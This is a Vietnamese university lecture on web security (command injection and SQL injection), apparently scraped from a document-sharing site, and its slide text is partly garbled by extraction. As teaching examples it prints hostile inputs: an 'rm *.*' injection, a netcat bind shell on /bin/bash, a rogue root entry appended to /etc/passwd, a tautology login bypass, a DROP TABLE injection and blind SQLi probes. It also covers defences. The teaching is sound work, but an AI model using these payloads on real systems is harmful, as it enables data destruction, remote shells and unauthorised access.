1. Trang chủ
  2. » Công Nghệ Thông Tin

Bài giảng An ninh mạng: Bài 6 - Bùi Trọng Tùng

21 7 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Nội dung

Bài giảng An ninh mạng - Bài 6: An toàn dịch vụ web - SQL Injection. Sau khi học xong chương này, người học có thể hiểu được một số kiến thức cơ bản về: Tổng quan về dịch vụ web, tấn công dạng command injection. Mời các bạn cùng tham khảo để biết thêm các nội dung chi tiết.

BÀI AN TOÀN DỊCH VỤ WEB SQL INJECTION Bùi Trọng Tùng, Viện Công nghệ thông tin Truyền thông, Đại học Bách khoa Hà Nội Nội dung • Tổng quan hoạt động dịch vụ Web • Tấn cơng dạng Command Injection • SQL Injection • XSS • CSRF • Quản lý phiên CuuDuongThanCong.com https://fb.com/tailieudientucntt 1 TỔNG QUAN VỀ DỊCH VỤ WEB Bùi Trọng Tùng, Viện Công nghệ thông tin Truyền thông, Đại học Bách khoa Hà Nội World Wide Web • Ra đời năm 1990 • Hệ thống siêu văn trình bày ngơn ngữ • • • • HTML liên kết với Cho phép truy cập đến nhiều dạng tài nguyên thông tin khác (văn bản, hình ảnh, âm thanh, video ) qua URL (Uniform Resource Location) URI (Uniform Resource Identifier) Đang điều hành W3C Các công nghệ liên quan: CSS, XML, JavaScrips, Adobe Flash, Silverlight Hiện trở thành tảng (Web-based service) CuuDuongThanCong.com https://fb.com/tailieudientucntt Giao thức HTTP • Sử dụng TCP, cổng 80 Web clients • Trao đổi thông điệp HTTP (giao thức ứng dụng) HTTP Request IE Web HTTP Response server Firefox Navigator Thông điệp HTTP Request • Mã ASCII (dễ dàng đọc dạng văn bản) request line (GET, POST, HEAD commands) GET /dccn/index.html HTTP/1.1 Host: www.it-hut.edu.vn User-agent: Mozilla/4.0 header Connection: close lines Accept-language:en-us CR, LF (extra carriage return, line feed) indicates end of message CuuDuongThanCong.com https://fb.com/tailieudientucntt Thông điệp HTTP Response status line (protocol status code status phrase) header lines data, e.g., requested HTML file HTTP/1.1 200 OK Connection close Date: Tue, 16 Mar 2008 12:00:15 GMT Server: Apache/1.3.0 (Unix) Last-Modified: Mon, 15 Mar 2008 … Content-Length: 8990 Content-Type: text/html data data data data data Tương tác với web server • Địa URL http://coolsite.com/tools/info.html Giao thức Tên miền(sẽ phân giải thành địa IP) Đường dẫn tới tài nguyên (nội dung tĩnh, thường file HTML) CuuDuongThanCong.com https://fb.com/tailieudientucntt Tương tác với web server (tiếp) • Tương tác với kịch thực thi server (servlet) http://coolsite.com/tools/doit.php?cmd=play&vol=44 Đường dẫn tới servlet, cho phép server sinh nội dung trang web tùy thuộc tham số: CGI: Common Gateway Interface PHP, JSP, ASP: ngôn ngữ kịch (scrips) Các tham số cho trình sinh nội dung Kiến trúc chung dịch vụ web subdomain.mysite.com/folder/page?id=5 HTML Page, JS file, CSS file, image, etc run code Database Queries Người dùng tương tác với tài nguyên khác thông qua dịch vụ web 10 CuuDuongThanCong.com https://fb.com/tailieudientucntt Các nguy dịch vụ web • Tấn cơng server từ phía client  Tấn công dạng Injection  File System Traversal  Broken Access Control 11 Các nguy dịch vụ web • Tấn cơng từ phía server:  Clickjacking  HistoryProbing  Phishing 12 CuuDuongThanCong.com https://fb.com/tailieudientucntt Các nguy dịch vụ web • Tấn cơng người dùng khác:  XSS  CSRF  Remote Script Inclusion 13 Top 15 lỗ hổng(2015 White Hat Security) 80 70 60 50 40 30 20 10 70 56 47 29 26 24 16 15 11 6 14 CuuDuongThanCong.com https://fb.com/tailieudientucntt 2013 OWASP Top10 Project Mã Tên Mô tả A-1 Injection Cho phép chèn liệu ác tính vào câu lệnh truy vấn A-2 Authentication and Session Management Đánh cắp mật khẩu, khóa, thẻ phiên, khai thác lỗ hổng để giả mạo người dùng A-3 XSS Ứng dụng Web không kiểm tra mã thực thi nhúng vào liệu nhận gửi lại mã thực thi cho trình duyệt … Các lỗ hổng xuất trình triển khai Để lộ file, thư mục chứa thơng tin cấu hình quan trọng, phân quyền truy cập khơng hợp lý… A-8 CSRF Trình duyệt nạn nhân gửi thông điệp HTTP Request cách ý muốn nạn nhân trạng thái đăng nhập 15 TẤN CÔNG DẠNG COMMAND INJECTION Bùi Trọng Tùng, Viện Công nghệ thông tin Truyền thông, Đại học Bách khoa Hà Nội 16 CuuDuongThanCong.com https://fb.com/tailieudientucntt Command Injection • Lợi dụng lỗ hổng khơng kiểm sốt giá trị đối số thực thi kịch (servlet) web server  Không phân biệt ký hiệu điều khiển (ký hiệu phép toán, dấu ; “ ‘ ) giá trị đối số câu lệnh • Ví dụ: Website chứa servlet cung cấp tính tính tốn biểu thức qua hàm eval() … http://site.com/calc.php $in = $_GET[‘exp']; Nội dung biểu thức truyền eval('$ans = ' $in ';'); qua đối số exp Ví dụ: … http://site.com/calc.php?exp=1+1 • Servlet thực thi truyền đối số sau: http://site.com/calc.php?exp=“10 ; system(‘rm *.*’)” 17 Command Injection – Ví dụ khác http://site.com/exec/ Client Server Send page Ping for FREE

Enter an IP address below:

19 Command Injection – Ví dụ khác Client Send page Server … $t = $_REQUEST[‘ip']; $o = shell_exec(‘ping –C 3’ $t); echo $o … PHP exec program 20 CuuDuongThanCong.com https://fb.com/tailieudientucntt 10 Command Injection – Ví dụ khác 127.0.0.1;ls Client Send page Server … $t = $_REQUEST[‘ip']; $o = shell_exec(‘ping –C 3’ $t); echo $o … PHP exec program 21 Command Injection – Ví dụ khác • Thực thi shell ip=127.0.0.1+%26+netcat+-v+e+'/bin/bash'+-l+-p+31337&submit=submit netcat –v –e ‘/bin/bash’ –l –p 31337 22 CuuDuongThanCong.com https://fb.com/tailieudientucntt 11 Command Injection – Ví dụ khác • Mã PHP để gửi email: $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”) • Chèn mã thực thi truyền giá trị cho đối số: http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls • Hoặc http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls 23 Phịng chống • Kiểm tra, chấp nhận giá trị chứa ký tự hợp lệ  Ký tự hợp lệ?Phụ thuộc ngữ cảnh • Sử dụng dấu ‘\’ đặt trước ký tự đặc biệt  Nếu kẻ công chèn trước ký tự ‘\’ ? • Bỏ qua ký tự đặc biệt  Nếu kẻ cơng dùng mã ASCII? Ln có cách vượt qua kiểm tra • Cách tốt hơn: khơng sử dụng hàm có q nhiều quyền thực thi  Khơng hiệu với SQL Injection 24 CuuDuongThanCong.com https://fb.com/tailieudientucntt 12 SQL Injection • Mục tiêu: website sử dụng CSDL back-end • Lỗ hổng SQL Injection: khơng kiểm sốt giá trị đối số truyền cho servlet thực truy vấn CSDL  Web server không phân biệt ký tự câu truy vấn hay giá trị truyền cho đối số • Mục đích: sửa đổi chèn truy vấn vào truy vấn thông thường để đọc trái phép thay thơng tin trang web • Lỗ hổng phổ biến website 25 Kịch công SQL Injection Victim Server Attacker Trả lại liệu nằm dự kiến Thực câu truy vấn nằm dự kiến Victim SQL DB 26 CuuDuongThanCong.com https://fb.com/tailieudientucntt 13 SQL Injection – Ví dụ • Xem xét đoạn mã PHP sau: $user = $_POST[‘recipient’]; $sql = "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username='$recipient'"; $rs = $db->executeQuery($sql); • Giả sử đối số truyền sau “?recipient=Bob” câu truy vấn web server chuyển cho DBMS để thực thi sau: SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username=‘Bob’ • Kết trả với truy vấn sau: SELECT AcctNum FROM Customer WHERE True 27 Phân tích truy vấn cú pháp SELECT / FROM / WHERE AcctNum Customer AND < Balance = 100 Username 'Bob' Kết truy vấn: Số tài khoản tất khách hàng có số dư 100$ tên khách hàng Bob 28 CuuDuongThanCong.com https://fb.com/tailieudientucntt 14 SQL Injection – Ví dụ (tiếp) • Xem xét đoạn mã PHP sau: $recipient = $_GET[‘recipient’]; $sql = "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username='$recipient'"; $rs = $db->executeQuery($sql); • Điều xảy đối số truyền giá trị làm thay đổi ý nghĩa câu truy vấn  Ví dụ truyền vào giá trị đặc biệt ‘recipient’ để đọc toàn danh sách khách hàng 29 SQL Injection – Ví dụ (tiếp) • Truyền đối số sau: ?recipient=anyone’ OR = 1;# • Câu truy vấn thực thi: SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username=‘anyone’ OR = 1;#’ Dấu # báo hiệu đoạn thích bỏ qua • Biểu thức điều kiện trở thành WHERE Balance < 100 AND Username=‘anyone’ OR = trả giá trị TRUE 30 CuuDuongThanCong.com https://fb.com/tailieudientucntt 15 Cây cú pháp SELECT / FROM / WHERE AcctNum Customer OR AND < Balance 100 = = Username 1 ‘anyone’ 31 Một số kỹ thuật khai thác SQLi • Mệnh đề ORDER BY xếp kết theo cột liệt kê mệnh đề SELECT • Sử dụng mệnh đề ORDER BY cho phép đoán số cột liệt kê truy vấn  Nếu STT cột ≤ số cột liệt kê truy vấn: thực thành công  Ngược lại trả thông báo lỗi Thơng báo lỗi để lộ thơng tin CSDL!!! 32 CuuDuongThanCong.com https://fb.com/tailieudientucntt 16 Một số kỹ thuật khai thác SQLi(tiếp) • Mệnh đề UNION cho phép gộp kết truy vấn • Yêu cầu: mệnh đề SELECT phải có số cột, kiểu liệu (hoặc chuyển đổi kiểu liệu khác nhau) • Dùng mệnh đề UNION cho phép:  Xác định số cột mệnh đề SELECT  Kiểm tra kiểu liệu  Thực truy vấn tới bảng khác: trích xuất liệu, đốn tên bảng, đốn tên cột Thơng báo lỗi để lộ thông tin CSDL!!! 33 Một số kỹ thuật khai thác SQLi(tiếp) • Sử dụng Batched Query (cịn gọi query stack) • Lợi dụng khả hỗ trợ thực thi nhiều câu truy vấn lúc số ngôn ngữ hệ quản trị CSDL Support ASP ASP.NET PHP MySQL No Yes No PostgreSQL Yes Yes Yes MS SQL Yes Yes Yes Lưu ý: Ngay ngôn ngữ hệ quản trị CSDL không hỗ trợ, khai thác mệnh đề UNION CuuDuongThanCong.com https://fb.com/tailieudientucntt 34 17 Batched Query – Ví dụ • Truyền đối số sau: ?recipient=anyone’; DROP TABLE Customer -• Câu truy vấn thực thi: SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username=‘anyone’; DROP TABLE Customer ’ Chèn câu lệnh SQL khác để can thiệp sửa đổi CSDL Thậm chí chèn vào đoạn mã thực thi kịch hệ thống (shell code) 35 Blind SQL Injection • Trong số trường hợp, hệ thống không trả lại thông báo lỗi thực thi câu lệnh SQL • Để khai thác lỗi dạng này, sử dụng kỹ thuật:  Boolean based Blind SQLi: sử dụng câu truy vấn trả True/False  Time-based Blind SQLi: kiểm tra thời gian thực thi câu truy vấn • Cần nhiều thời gian để khai thác lỗi Blind SQLi  thường sử dụng cơng cụ hỗ trợ (Ví dụ: sqlmap) 36 CuuDuongThanCong.com https://fb.com/tailieudientucntt 18 Blind SQL Injection • Ví dụ 1: Boolean-based Blind SQLi Để tìm thơng tin phiên CSDL, chèn lời gọi hàm vào câu truy vấn: and substring(version(),i,1)=c;# Thay i vị trí ký tự cần kiểm tra, c giá trị cần so sánh • Time-based Blind SQLi  MySQL: sleep(), benchmark()  MS SQL: waitfor delay 37 Phịng chống SQL Injection • Thêm ký tự ‘\’ vào trước dấu nháy ‘ ’ “ ” • PHP: addslashes( “ ’ or = Đầu ra: ”) “ \’ or 1=1 ” Hạn chế: công dựa vào mã Unicode số ký tự đặc biệt 0x 5c  \ $user = 0x bf 27 addslashes($user) 0x bf 27  ¿′ Đầu ra: 0x bf 5c 27  ′ 0x bf 5c  • Hàm tốt hơn: mysql_real_escape_string() 38 CuuDuongThanCong.com https://fb.com/tailieudientucntt 19 Phịng chống SQL Injection • Hầu hết ngơn ngữ lập trình, DBMS hỗ trợ kiểm sốt tham số câu truy vấn không hiểu lầm giá trị tham số mã thực thi • Ví dụ: PHP MySQL $dbh = new mysqli(…); $stmt = $dbh->prepare(“SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username= ?”); $recipient = $_GET[‘recipient’]; $stmt->bind_param(“s”, $recipient); s: tham số kiểu xâu ký tự $stmt->execute(); i: tham số kiểu số nguyên • Sử dụng ORM framework d: tham số kiểu số thực 39 Cây cú pháp truy vấn SQL SELECT / FROM / WHERE AcctNum Customer AND < Balance = 100 Username ? 40 CuuDuongThanCong.com https://fb.com/tailieudientucntt 20 Cây cú pháp truy vấn SQL ?recipient=anyone’ OR = -$stmt->bind_param(“s”, $recipient); SELECT / FROM / WHERE AcctNum Customer AND < Balance = 100 Username ? OR = -anyone’ 41 Bài giảng sử dụng số hình vẽ ví dụ từ giảng: • Computer and Network Security, Stanford University • Computer Security, Berkeley University • Introduction to Computer Security, Carnegie Mellon University 42 CuuDuongThanCong.com https://fb.com/tailieudientucntt 21 ... / FROM / WHERE AcctNum Customer AND < Balance = 100 Username ? OR = -anyone’ 41 Bài giảng sử dụng số hình vẽ ví dụ từ giảng: • Computer and Network Security, Stanford University • Computer Security,... quan trọng, phân quyền truy cập khơng hợp lý… A-8 CSRF Trình duyệt nạn nhân gửi thông điệp HTTP Request cách ý muốn nạn nhân trạng thái đăng nhập 15 TẤN CÔNG DẠNG COMMAND INJECTION Bùi Trọng Tùng, ... 70 56 47 29 26 24 16 15 11 6 14 CuuDuongThanCong.com https://fb.com/tailieudientucntt 2013 OWASP Top10 Project Mã Tên Mô tả A-1 Injection Cho phép chèn liệu ác tính vào câu lệnh truy vấn A-2 Authentication

Ngày đăng: 28/05/2021, 10:49